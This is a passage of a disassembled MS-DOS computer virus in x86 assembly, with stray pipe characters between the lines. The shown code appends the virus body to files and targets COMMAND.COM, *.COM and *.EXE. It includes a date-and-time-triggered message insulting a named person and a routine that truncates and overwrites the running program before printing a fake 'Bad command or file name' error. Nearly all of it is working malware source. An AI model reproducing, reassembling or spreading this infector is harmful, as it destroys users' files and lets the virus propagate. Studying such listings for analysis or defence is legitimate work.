; move file ptr, cx,dx=offset
|
||
mov ah,40h ; '@'
|
||
mov cx,9
|
||
mov dx,offset data_9 ; (8344:04EB=0)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
mov ax,4202h
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
mov ah,40h ; '@'
|
||
mov cx,435h
|
||
mov dx,offset ds:[109h] ; (8344:0109=90h)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
retn
|
||
sub_26 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_27 proc near
|
||
mov ah,2Ah ; '*'
|
||
int 21h ; DOS Services ah=function 2Ah
|
||
; get date, cx=year, dx=mon/day
|
||
test dl,3
|
||
jnz loc_ret_33 ; Jump if not zero
|
||
mov ah,2Ch ; ','
|
||
int 21h ; DOS Services ah=function 2Ch
|
||
; get time, cx=hrs/min, dh=sec
|
||
test dh,3
|
||
jnz loc_ret_33 ; Jump if not zero
|
||
mov cx,47h
|
||
mov si,data_1e ; (009D:0446=10h)
|
||
add si,bp
|
||
mov di,si
|
||
|
||
locloop_32:
|
||
lodsb ; String [si] to al
|
||
sub al,80h
|
||
stosb ; Store al to es:[di]
|
||
loop locloop_32 ; Loop if cx > 0
|
||
|
||
mov ah,9
|
||
mov dx,data_1e ; (009D:0446=10h)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 09h
|
||
; display char string at ds:dx
|
||
|
||
loc_ret_33:
|
||
data_8 db 'Craig Murphy calls himself SUPER'
|
||
db 'HACKER but he''s just a talentle'
|
||
db 'ss Jerk!', 0Dh, 0Ah, '$'
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_28:
|
||
mov al,0FFh
|
||
cmp al,[bp+4EAh]
|
||
je loc_34 ; Jump if equal
|
||
retn
|
||
loc_34:
|
||
push word ptr ds:data_2e ; (8344:002C=0)
|
||
pop es
|
||
xor di,di ; Zero register
|
||
mov al,1
|
||
loc_35:
|
||
scasb ; Scan es:[di] for al
|
||
jnz loc_35 ; Jump if not zero
|
||
inc di
|
||
push es
|
||
pop ds
|
||
mov dx,di
|
||
mov ax,4300h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
jc loc_36 ; Jump if carry Set
|
||
mov es,cx
|
||
mov ax,4301h
|
||
xor cx,cx ; Zero register
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
jc loc_36 ; Jump if carry Set
|
||
mov ah,3Ch ; '<'
|
||
int 21h ; DOS Services ah=function 3Ch
|
||
; create/truncate file @ ds:dx
|
||
push ds
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
mov dx,offset ds:[100h] ; (8344:0100=0E8h)
|
||
mov bx,ax
|
||
mov ah,40h ; '@'
|
||
mov cx,9
|
||
add cx,bp
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
pop dx
|
||
pop ds
|
||
mov cx,es
|
||
mov ax,4301h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
loc_36:
|
||
push cs
|
||
pop ds
|
||
mov ah,9
|
||
mov dx,offset data_15+25h ; (8344:0521=0)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 09h
|
||
; display char string at ds:dx
|
||
mov ah,4Ch ; 'L'
|
||
int 21h ; DOS Services ah=function 4Ch
|
||
; terminate with al=return code
|
||
data_9 db 0
|
||
loc_37:
|
||
call sub_29 ; (04F6)
|
||
dec bp
|
||
jnz $+74h ; Jump if not zero
|
||
jo $+6Ah ; Jump if overflow=1
|
||
jns loc_37 ; Jump if not sign
|
||
sub_27 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_29 proc near
|
||
popf ; Pop flags
|
||
add [bx+si],al
|
||
add bl,[si+0]
|
||
data_15 db '*.*', 0
|
||
db '\^^^^^^^^', 0
|
||
db 'COMMAND.COM', 0
|
||
db '*.COM', 0
|
||
db '*.EXE', 0
|
||
db 'Bad command or file name', 0Dh, 0Ah
|
||
db '$'
|
||
db 6
|
||
data_21 db 0
|
||
sub_29 endp
|
||
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
end start
|
||
|